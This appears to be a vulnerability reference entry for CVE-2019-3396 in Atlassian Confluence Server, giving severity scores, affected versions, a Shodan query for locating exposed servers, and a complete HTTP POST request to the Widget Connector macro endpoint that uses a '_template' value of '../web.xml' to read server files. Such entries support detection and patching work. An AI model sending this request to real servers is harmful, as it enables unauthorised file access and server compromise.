| Title | Atlassian Confluence Server - Path Traversal |
|---|---|
| Author | harshbothra_ |
| Severity | Critical |
| Impact | Unauthenticated attackers can exploit server-side template injection to achieve path traversal and execute arbitrary code, leading to complete Confluence server compromise. |
| Remediation | Apply the necessary security patches or upgrade to a patched version of Atlassian Confluence Server to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94472 |
| CVE ID | CVE-2019-3396 |
| CWE ID | CWE-22 |
| Shodan Query | http.component:"Atlassian Confluence"cpe:"cpe:2.3:a:atlassian:confluence"http.component:"atlassian confluence" |
| Tags | cve cve2019 atlassian confluence lfi rce kev packetstorm vkev vuln |
The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15
Connection: close
Content-Length: 168
Referer: www.victim.com
Accept-Encoding: gzip
{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-3396.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-3396.pcap
N/AN/A